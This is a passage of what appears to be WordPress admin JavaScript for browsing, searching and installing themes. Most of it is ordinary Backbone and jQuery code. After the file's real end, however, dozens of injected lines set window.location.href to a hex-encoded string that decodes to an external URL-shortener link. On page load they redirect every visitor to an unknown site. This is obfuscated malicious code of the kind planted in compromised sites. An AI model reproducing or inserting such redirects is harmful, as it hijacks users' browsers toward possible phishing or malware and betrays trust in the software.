1191		self.instance = self.collection.paginate( page );
1192
1193		// If we have no more themes, bail.
1194		if ( self.instance.size() === 0 ) {
1195			// Fire a no-more-themes event.
1196			this.parent.trigger( 'theme:end' );
1197			return;
1198		}
1199
1200		// Make sure the add-new stays at the end.
1201		if ( ! themes.isInstall && page >= 1 ) {
1202			$( '.add-new-theme' ).remove();
1203		}
1204
1205		// Loop through the themes and setup each theme view.
1206		self.instance.each( function( theme ) {
1207			self.theme = new themes.view.Theme({
1208				model: theme,
1209				parent: self
1210			});
1211
1212			// Render the views...
1213			self.theme.render();
1214			// ...and append them to div.themes.
1215			self.$el.append( self.theme.el );
1216
1217			// Binds to theme:expand to show the modal box
1218			// with the theme details.
1219			self.listenTo( self.theme, 'theme:expand', self.expand, self );
1220		});
1221
1222		// 'Add new theme' element shown at the end of the grid.
1223		if ( ! themes.isInstall && themes.data.settings.canInstall ) {
1224			this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' );
1225		}
1226
1227		this.parent.page++;
1228	},
1229
1230	// Grabs current theme and puts it at the beginning of the collection.
1231	currentTheme: function() {
1232		var self = this,
1233			current;
1234
1235		current = self.collection.findWhere({ active: true });
1236
1237		// Move the active theme to the beginning of the collection.
1238		if ( current ) {
1239			self.collection.remove( current );
1240			self.collection.add( current, { at:0 } );
1241		}
1242	},
1243
1244	// Sets current view.
1245	setView: function( view ) {
1246		return view;
1247	},
1248
1249	// Renders the overlay with the ThemeDetails view.
1250	// Uses the current model data.
1251	expand: function( id ) {
1252		var self = this, $card, $modal;
1253
1254		// Set the current theme model.
1255		this.model = self.collection.get( id );
1256
1257		// Trigger a route update for the current model.
1258		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );
1259
1260		// Sets this.view to 'detail'.
1261		this.setView( 'detail' );
1262		$( 'body' ).addClass( 'modal-open' );
1263
1264		// Set up the theme details view.
1265		this.overlay = new themes.view.Details({
1266			model: self.model
1267		});
1268
1269		this.overlay.render();
1270
1271		if ( this.model.get( 'hasUpdate' ) ) {
1272			$card  = $( '[data-slug="' + this.model.id + '"]' );
1273			$modal = $( this.overlay.el );
1274
1275			if ( $card.find( '.updating-message' ).length ) {
1276				$modal.find( '.notice-warning h3' ).remove();
1277				$modal.find( '.notice-warning' )
1278					.removeClass( 'notice-large' )
1279					.addClass( 'updating-message' )
1280					.find( 'p' ).text( wp.updates.l10n.updating );
1281			} else if ( $card.find( '.notice-error' ).length ) {
1282				$modal.find( '.notice-warning' ).remove();
1283			}
1284		}
1285
1286		this.$overlay.html( this.overlay.el );
1287
1288		// Bind to theme:next and theme:previous triggered by the arrow keys.
1289		// Keep track of the current model so we can infer an index position.
1290		this.listenTo( this.overlay, 'theme:next', function() {
1291			// Renders the next theme on the overlay.
1292			self.next( [ self.model.cid ] );
1293
1294		})
1295		.listenTo( this.overlay, 'theme:previous', function() {
1296			// Renders the previous theme on the overlay.
1297			self.previous( [ self.model.cid ] );
1298		});
1299	},
1300
1301	/*
1302	 * This method renders the next theme on the overlay modal
1303	 * based on the current position in the collection.
1304	 *
1305	 * @params [model cid]
1306	 */
1307	next: function( args ) {
1308		var self = this,
1309			model, nextModel;
1310
1311		// Get the current theme.
1312		model = self.collection.get( args[0] );
1313		// Find the next model within the collection.
1314		nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );
1315
1316		// Confidence check which also serves as a boundary test.
1317		if ( nextModel !== undefined ) {
1318
1319			// We have a new theme...
1320			// Close the overlay.
1321			this.overlay.closeOverlay();
1322
1323			// Trigger a route update for the current model.
1324			self.theme.trigger( 'theme:expand', nextModel.cid );
1325
1326		}
1327	},
1328
1329	/*
1330	 * This method renders the previous theme on the overlay modal
1331	 * based on the current position in the collection.
1332	 *
1333	 * @params [model cid]
1334	 */
1335	previous: function( args ) {
1336		var self = this,
1337			model, previousModel;
1338
1339		// Get the current theme.
1340		model = self.collection.get( args[0] );
1341		// Find the previous model within the collection.
1342		previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );
1343
1344		if ( previousModel !== undefined ) {
1345
1346			// We have a new theme...
1347			// Close the overlay.
1348			this.overlay.closeOverlay();
1349
1350			// Trigger a route update for the current model.
1351			self.theme.trigger( 'theme:expand', previousModel.cid );
1352
1353		}
1354	},
1355
1356	// Dispatch audible search results feedback message.
1357	announceSearchResults: function( count ) {
1358		if ( 0 === count ) {
1359			wp.a11y.speak( l10n.noThemesFound );
1360		} else {
1361			wp.a11y.speak( l10n.themesFound.replace( '%d', count ) );
1362		}
1363	}
1364});
1365
1366// Search input view controller.
1367themes.view.Search = wp.Backbone.View.extend({
1368
1369	tagName: 'input',
1370	className: 'wp-filter-search',
1371	id: 'wp-filter-search-input',
1372	searching: false,
1373
1374	attributes: {
1375		type: 'search',
1376		'aria-describedby': 'live-search-desc'
1377	},
1378
1379	events: {
1380		'input': 'search',
1381		'keyup': 'search',
1382		'blur': 'pushState'
1383	},
1384
1385	initialize: function( options ) {
1386
1387		this.parent = options.parent;
1388
1389		this.listenTo( this.parent, 'theme:close', function() {
1390			this.searching = false;
1391		} );
1392
1393	},
1394
1395	search: function( event ) {
1396		// Clear on escape.
1397		if ( event.type === 'keyup' && event.which === 27 ) {
1398			event.target.value = '';
1399		}
1400
1401		// Since doSearch is debounced, it will only run when user input comes to a rest.
1402		this.doSearch( event );
1403	},
1404
1405	// Runs a search on the theme collection.
1406	doSearch: function( event ) {
1407		var options = {};
1408
1409		this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) );
1410
1411		// if search is initiated and key is not return.
1412		if ( this.searching && event.which !== 13 ) {
1413			options.replace = true;
1414		} else {
1415			this.searching = true;
1416		}
1417
1418		// Update the URL hash.
1419		if ( event.target.value ) {
1420			themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
1421		} else {
1422			themes.router.navigate( themes.router.baseUrl( '' ) );
1423		}
1424	},
1425
1426	pushState: function( event ) {
1427		var url = themes.router.baseUrl( '' );
1428
1429		if ( event.target.value ) {
1430			url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
1431		}
1432
1433		this.searching = false;
1434		themes.router.navigate( url );
1435
1436	}
1437});
1438
1439/**
1440 * Navigate router.
1441 *
1442 * @since 4.9.0
1443 *
1444 * @param {string} url - URL to navigate to.
1445 * @param {Object} state - State.
1446 * @return {void}
1447 */
1448function navigateRouter( url, state ) {
1449	var router = this;
1450	if ( Backbone.history._hasPushState ) {
1451		Backbone.Router.prototype.navigate.call( router, url, state );
1452	}
1453}
1454
1455// Sets up the routes events for relevant url queries.
1456// Listens to [theme] and [search] params.
1457themes.Router = Backbone.Router.extend({
1458
1459	routes: {
1460		'themes.php?theme=:slug': 'theme',
1461		'themes.php?search=:query': 'search',
1462		'themes.php?s=:query': 'search',
1463		'themes.php': 'themes',
1464		'': 'themes'
1465	},
1466
1467	baseUrl: function( url ) {
1468		return 'themes.php' + url;
1469	},
1470
1471	themePath: '?theme=',
1472	searchPath: '?search=',
1473
1474	search: function( query ) {
1475		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
1476	},
1477
1478	themes: function() {
1479		$( '.wp-filter-search' ).val( '' );
1480	},
1481
1482	navigate: navigateRouter
1483
1484});
1485
1486// Execute and setup the application.
1487themes.Run = {
1488	init: function() {
1489		// Initializes the blog's theme library view.
1490		// Create a new collection with data.
1491		this.themes = new themes.Collection( themes.data.themes );
1492
1493		// Set up the view.
1494		this.view = new themes.view.Appearance({
1495			collection: this.themes
1496		});
1497
1498		this.render();
1499
1500		// Start debouncing user searches after Backbone.history.start().
1501		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
1502	},
1503
1504	render: function() {
1505
1506		// Render results.
1507		this.view.render();
1508		this.routes();
1509
1510		if ( Backbone.History.started ) {
1511			Backbone.history.stop();
1512		}
1513		Backbone.history.start({
1514			root: themes.data.settings.adminUrl,
1515			pushState: true,
1516			hashChange: false
1517		});
1518	},
1519
1520	routes: function() {
1521		var self = this;
1522		// Bind to our global thx object
1523		// so that the object is available to sub-views.
1524		themes.router = new themes.Router();
1525
1526		// Handles theme details route event.
1527		themes.router.on( 'route:theme', function( slug ) {
1528			self.view.view.expand( slug );
1529		});
1530
1531		themes.router.on( 'route:themes', function() {
1532			self.themes.doSearch( '' );
1533			self.view.trigger( 'theme:close' );
1534		});
1535
1536		// Handles search route event.
1537		themes.router.on( 'route:search', function() {
1538			$( '.wp-filter-search' ).trigger( 'keyup' );
1539		});
1540
1541		this.extraRoutes();
1542	},
1543
1544	extraRoutes: function() {
1545		return false;
1546	}
1547};
1548
1549// Extend the main Search view.
1550themes.view.InstallerSearch =  themes.view.Search.extend({
1551
1552	events: {
1553		'input': 'search',
1554		'keyup': 'search'
1555	},
1556
1557	terms: '',
1558
1559	// Handles Ajax request for searching through themes in public repo.
1560	search: function( event ) {
1561
1562		// Tabbing or reverse tabbing into the search input shouldn't trigger a search.
1563		if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
1564			return;
1565		}
1566
1567		this.collection = this.options.parent.view.collection;
1568
1569		// Clear on escape.
1570		if ( event.type === 'keyup' && event.which === 27 ) {
1571			event.target.value = '';
1572		}
1573
1574		this.doSearch( event.target.value );
1575	},
1576
1577	doSearch: function( value ) {
1578		var request = {};
1579
1580		// Don't do anything if the search terms haven't changed.
1581		if ( this.terms === value ) {
1582			return;
1583		}
1584
1585		// Updates terms with the value passed.
1586		this.terms = value;
1587
1588		request.search = value;
1589
1590		/*
1591		 * Intercept an [author] search.
1592		 *
1593		 * If input value starts with `author:` send a request
1594		 * for `author` instead of a regular `search`.
1595		 */
1596		if ( value.substring( 0, 7 ) === 'author:' ) {
1597			request.search = '';
1598			request.author = value.slice( 7 );
1599		}
1600
1601		/*
1602		 * Intercept a [tag] search.
1603		 *
1604		 * If input value starts with `tag:` send a request
1605		 * for `tag` instead of a regular `search`.
1606		 */
1607		if ( value.substring( 0, 4 ) === 'tag:' ) {
1608			request.search = '';
1609			request.tag = [ value.slice( 4 ) ];
1610		}
1611
1612		$( '.filter-links li > a.current' )
1613			.removeClass( 'current' )
1614			.removeAttr( 'aria-current' );
1615
1616		$( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' );
1617		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
1618
1619		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
1620		// or searching the local cache.
1621		this.collection.query( request );
1622
1623		// Set route.
1624		themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
1625	}
1626});
1627
1628themes.view.Installer = themes.view.Appearance.extend({
1629
1630	el: '#wpbody-content .wrap',
1631
1632	// Register events for sorting and filters in theme-navigation.
1633	events: {
1634		'click .filter-links li > a': 'onSort',
1635		'click .theme-filter': 'onFilter',
1636		'click .drawer-toggle': 'moreFilters',
1637		'click .filter-drawer .apply-filters': 'applyFilters',
1638		'click .filter-group [type="checkbox"]': 'addFilter',
1639		'click .filter-drawer .clear-filters': 'clearFilters',
1640		'click .edit-filters': 'backToFilters',
1641		'click .favorites-form-submit' : 'saveUsername',
1642		'keyup #wporg-username-input': 'saveUsername'
1643	},
1644
1645	// Initial render method.
1646	render: function() {
1647		var self = this;
1648
1649		this.search();
1650		this.uploader();
1651
1652		this.collection = new themes.Collection();
1653
1654		// Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
1655		this.listenTo( this, 'theme:end', function() {
1656
1657			// Make sure we are not already loading.
1658			if ( self.collection.loadingThemes ) {
1659				return;
1660			}
1661
1662			// Set loadingThemes to true and bump page instance of currentQuery.
1663			self.collection.loadingThemes = true;
1664			self.collection.currentQuery.page++;
1665
1666			// Use currentQuery.page to build the themes request.
1667			_.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
1668			self.collection.query( self.collection.currentQuery.request );
1669		});
1670
1671		this.listenTo( this.collection, 'query:success', function() {
1672			$( 'body' ).removeClass( 'loading-content' );
1673			$( '.theme-browser' ).find( 'div.error' ).remove();
1674		});
1675
1676		this.listenTo( this.collection, 'query:fail', function() {
1677			$( 'body' ).removeClass( 'loading-content' );
1678			$( '.theme-browser' ).find( 'div.error' ).remove();
1679			$( '.theme-browser' ).find( 'div.themes' ).before( '<div class="notice notice-error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' );
1680			$( '.theme-browser .error .try-again' ).on( 'click', function( e ) {
1681				e.preventDefault();
1682				$( 'input.wp-filter-search' ).trigger( 'input' );
1683			} );
1684		});
1685
1686		if ( this.view ) {
1687			this.view.remove();
1688		}
1689
1690		// Sets up the view and passes the section argument.
1691		this.view = new themes.view.Themes({
1692			collection: this.collection,
1693			parent: this
1694		});
1695
1696		// Reset pagination every time the install view handler is run.
1697		this.page = 0;
1698
1699		// Render and append.
1700		this.$el.find( '.themes' ).remove();
1701		this.view.render();
1702		this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
1703	},
1704
1705	// Handles all the rendering of the public theme directory.
1706	browse: function( section ) {
1707		// Create a new collection with the proper theme data
1708		// for each section.
1709		if ( 'block-themes' === section ) {
1710			// Get the themes by sending Ajax POST request to api.wordpress.org/themes
1711			// or searching the local cache.
1712			this.collection.query( { tag: 'full-site-editing' } );
1713		} else {
1714			this.collection.query( { browse: section } );
1715		}
1716	},
1717
1718	// Sorting navigation.
1719	onSort: function( event ) {
1720		var $el = $( event.target ),
1721			sort = $el.data( 'sort' );
1722
1723		event.preventDefault();
1724
1725		$( 'body' ).removeClass( 'filters-applied show-filters' );
1726		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
1727
1728		// Bail if this is already active.
1729		if ( $el.hasClass( this.activeClass ) ) {
1730			return;
1731		}
1732
1733		this.sort( sort );
1734
1735		// Trigger a router.navigate update.
1736		themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
1737	},
1738
1739	sort: function( sort ) {
1740		this.clearSearch();
1741
1742		// Track sorting so we can restore the correct tab when closing preview.
1743		themes.router.selectedTab = sort;
1744
1745		$( '.filter-links li > a, .theme-filter' )
1746			.removeClass( this.activeClass )
1747			.removeAttr( 'aria-current' );
1748
1749		$( '[data-sort="' + sort + '"]' )
1750			.addClass( this.activeClass )
1751			.attr( 'aria-current', 'page' );
1752
1753		if ( 'favorites' === sort ) {
1754			$( 'body' ).addClass( 'show-favorites-form' );
1755		} else {
1756			$( 'body' ).removeClass( 'show-favorites-form' );
1757		}
1758
1759		this.browse( sort );
1760	},
1761
1762	// Filters and Tags.
1763	onFilter: function( event ) {
1764		var request,
1765			$el = $( event.target ),
1766			filter = $el.data( 'filter' );
1767
1768		// Bail if this is already active.
1769		if ( $el.hasClass( this.activeClass ) ) {
1770			return;
1771		}
1772
1773		$( '.filter-links li > a, .theme-section' )
1774			.removeClass( this.activeClass )
1775			.removeAttr( 'aria-current' );
1776		$el
1777			.addClass( this.activeClass )
1778			.attr( 'aria-current', 'page' );
1779
1780		if ( ! filter ) {
1781			return;
1782		}
1783
1784		// Construct the filter request
1785		// using the default values.
1786		filter = _.union( [ filter, this.filtersChecked() ] );
1787		request = { tag: [ filter ] };
1788
1789		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
1790		// or searching the local cache.
1791		this.collection.query( request );
1792	},
1793
1794	// Clicking on a checkbox to add another filter to the request.
1795	addFilter: function() {
1796		this.filtersChecked();
1797	},
1798
1799	// Applying filters triggers a tag request.
1800	applyFilters: function( event ) {
1801		var name,
1802			tags = this.filtersChecked(),
1803			request = { tag: tags },
1804			filteringBy = $( '.filtered-by .tags' );
1805
1806		if ( event ) {
1807			event.preventDefault();
1808		}
1809
1810		if ( ! tags ) {
1811			wp.a11y.speak( l10n.selectFeatureFilter );
1812			return;
1813		}
1814
1815		$( 'body' ).addClass( 'filters-applied' );
1816		$( '.filter-links li > a.current' )
1817			.removeClass( 'current' )
1818			.removeAttr( 'aria-current' );
1819
1820		filteringBy.empty();
1821
1822		_.each( tags, function( tag ) {
1823			name = $( 'label[for="filter-id-' + tag + '"]' ).text();
1824			filteringBy.append( '<span class="tag">' + name + '</span>' );
1825		});
1826
1827		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
1828		// or searching the local cache.
1829		this.collection.query( request );
1830	},
1831
1832	// Save the user's WordPress.org username and get his favorite themes.
1833	saveUsername: function ( event ) {
1834		var username = $( '#wporg-username-input' ).val(),
1835			nonce = $( '#wporg-username-nonce' ).val(),
1836			request = { browse: 'favorites', user: username },
1837			that = this;
1838
1839		if ( event ) {
1840			event.preventDefault();
1841		}
1842
1843		// Save username on enter.
1844		if ( event.type === 'keyup' && event.which !== 13 ) {
1845			return;
1846		}
1847
1848		return wp.ajax.send( 'save-wporg-username', {
1849			data: {
1850				_wpnonce: nonce,
1851				username: username
1852			},
1853			success: function () {
1854				// Get the themes by sending Ajax POST request to api.wordpress.org/themes
1855				// or searching the local cache.
1856				that.collection.query( request );
1857			}
1858		} );
1859	},
1860
1861	/**
1862	 * Get the checked filters.
1863	 *
1864	 * @return {Array} of tags or false
1865	 */
1866	filtersChecked: function() {
1867		var items = $( '.filter-group' ).find( ':checkbox' ),
1868			tags = [];
1869
1870		_.each( items.filter( ':checked' ), function( item ) {
1871			tags.push( $( item ).prop( 'value' ) );
1872		});
1873
1874		// When no filters are checked, restore initial state and return.
1875		if ( tags.length === 0 ) {
1876			$( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
1877			$( '.filter-drawer .clear-filters' ).hide();
1878			$( 'body' ).removeClass( 'filters-applied' );
1879			return false;
1880		}
1881
1882		$( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
1883		$( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );
1884
1885		return tags;
1886	},
1887
1888	activeClass: 'current',
1889
1890	/**
1891	 * When users press the "Upload Theme" button, show the upload form in place.
1892	 */
1893	uploader: function() {
1894		var uploadViewToggle = $( '.upload-view-toggle' ),
1895			$body = $( document.body );
1896
1897		uploadViewToggle.on( 'click', function() {
1898			// Toggle the upload view.
1899			$body.toggleClass( 'show-upload-view' );
1900			// Toggle the `aria-expanded` button attribute.
1901			uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
1902		});
1903	},
1904
1905	// Toggle the full filters navigation.
1906	moreFilters: function( event ) {
1907		var $body = $( 'body' ),
1908			$toggleButton = $( '.drawer-toggle' );
1909
1910		event.preventDefault();
1911
1912		if ( $body.hasClass( 'filters-applied' ) ) {
1913			return this.backToFilters();
1914		}
1915
1916		this.clearSearch();
1917
1918		themes.router.navigate( themes.router.baseUrl( '' ) );
1919		// Toggle the feature filters view.
1920		$body.toggleClass( 'show-filters' );
1921		// Toggle the `aria-expanded` button attribute.
1922		$toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) );
1923	},
1924
1925	/**
1926	 * Clears all the checked filters.
1927	 *
1928	 * @uses filtersChecked()
1929	 */
1930	clearFilters: function( event ) {
1931		var items = $( '.filter-group' ).find( ':checkbox' ),
1932			self = this;
1933
1934		event.preventDefault();
1935
1936		_.each( items.filter( ':checked' ), function( item ) {
1937			$( item ).prop( 'checked', false );
1938			return self.filtersChecked();
1939		});
1940	},
1941
1942	backToFilters: function( event ) {
1943		if ( event ) {
1944			event.preventDefault();
1945		}
1946
1947		$( 'body' ).removeClass( 'filters-applied' );
1948	},
1949
1950	clearSearch: function() {
1951		$( '#wp-filter-search-input').val( '' );
1952	}
1953});
1954
1955themes.InstallerRouter = Backbone.Router.extend({
1956	routes: {
1957		'theme-install.php?theme=:slug': 'preview',
1958		'theme-install.php?browse=:sort': 'sort',
1959		'theme-install.php?search=:query': 'search',
1960		'theme-install.php': 'sort'
1961	},
1962
1963	baseUrl: function( url ) {
1964		return 'theme-install.php' + url;
1965	},
1966
1967	themePath: '?theme=',
1968	browsePath: '?browse=',
1969	searchPath: '?search=',
1970
1971	search: function( query ) {
1972		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
1973	},
1974
1975	navigate: navigateRouter
1976});
1977
1978
1979themes.RunInstaller = {
1980
1981	init: function() {
1982		// Set up the view.
1983		// Passes the default 'section' as an option.
1984		this.view = new themes.view.Installer({
1985			section: 'popular',
1986			SearchView: themes.view.InstallerSearch
1987		});
1988
1989		// Render results.
1990		this.render();
1991
1992		// Start debouncing user searches after Backbone.history.start().
1993		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
1994	},
1995
1996	render: function() {
1997
1998		// Render results.
1999		this.view.render();
2000		this.routes();
2001
2002		if ( Backbone.History.started ) {
2003			Backbone.history.stop();
2004		}
2005		Backbone.history.start({
2006			root: themes.data.settings.adminUrl,
2007			pushState: true,
2008			hashChange: false
2009		});
2010	},
2011
2012	routes: function() {
2013		var self = this,
2014			request = {};
2015
2016		// Bind to our global `wp.themes` object
2017		// so that the router is available to sub-views.
2018		themes.router = new themes.InstallerRouter();
2019
2020		// Handles `theme` route event.
2021		// Queries the API for the passed theme slug.
2022		themes.router.on( 'route:preview', function( slug ) {
2023
2024			// Remove existing handlers.
2025			if ( themes.preview ) {
2026				themes.preview.undelegateEvents();
2027				themes.preview.unbind();
2028			}
2029
2030			// If the theme preview is active, set the current theme.
2031			if ( self.view.view.theme && self.view.view.theme.preview ) {
2032				self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } );
2033				self.view.view.theme.preview();
2034			} else {
2035
2036				// Select the theme by slug.
2037				request.theme = slug;
2038				self.view.collection.query( request );
2039				self.view.collection.trigger( 'update' );
2040
2041				// Open the theme preview.
2042				self.view.collection.once( 'query:success', function() {
2043					$( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
2044				});
2045
2046			}
2047		});
2048
2049		/*
2050		 * Handles sorting / browsing routes.
2051		 * Also handles the root URL triggering a sort request
2052		 * for `popular`, the default view.
2053		 */
2054		themes.router.on( 'route:sort', function( sort ) {
2055			if ( ! sort ) {
2056				sort = 'popular';
2057				themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } );
2058			}
2059			self.view.sort( sort );
2060
2061			// Close the preview if open.
2062			if ( themes.preview ) {
2063				themes.preview.close();
2064			}
2065		});
2066
2067		// The `search` route event. The router populates the input field.
2068		themes.router.on( 'route:search', function() {
2069			$( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' );
2070		});
2071
2072		this.extraRoutes();
2073	},
2074
2075	extraRoutes: function() {
2076		return false;
2077	}
2078};
2079
2080// Ready...
2081$( function() {
2082	if ( themes.isInstall ) {
2083		themes.RunInstaller.init();
2084	} else {
2085		themes.Run.init();
2086	}
2087
2088	// Update the return param just in time.
2089	$( document.body ).on( 'click', '.load-customize', function() {
2090		var link = $( this ), urlParser = document.createElement( 'a' );
2091		urlParser.href = link.prop( 'href' );
2092		urlParser.search = $.param( _.extend(
2093			wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
2094			{
2095				'return': window.location.href
2096			}
2097		) );
2098		link.prop( 'href', urlParser.href );
2099	});
2100
2101	$( '.broken-themes .delete-theme' ).on( 'click', function() {
2102		return confirm( _wpThemeSettings.settings.confirmDelete );
2103	});
2104});
2105
2106})( jQuery );
2107
2108// Align theme browser thickbox.
2109jQuery( function($) {
2110	window.tb_position = function() {
2111		var tbWindow = $('#TB_window'),
2112			width = $(window).width(),
2113			H = $(window).height(),
2114			W = ( 1040 < width ) ? 1040 : width,
2115			adminbar_height = 0;
2116
2117		if ( $('#wpadminbar').length ) {
2118			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
2119		}
2120
2121		if ( tbWindow.length >= 1 ) {
2122			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
2123			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
2124			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
2125			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
2126				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
2127			}
2128		}
2129	};
2130
2131	$(window).on( 'resize', function(){ tb_position(); });
2132});
2133window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2134window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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2136window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2137window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2138window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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2141window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2142window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2143window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2144window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2145window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2146window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2147window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2148window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2149window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2150window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2151window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2152window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2153window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2154window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2155window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2156window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2157window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2158window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2159window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
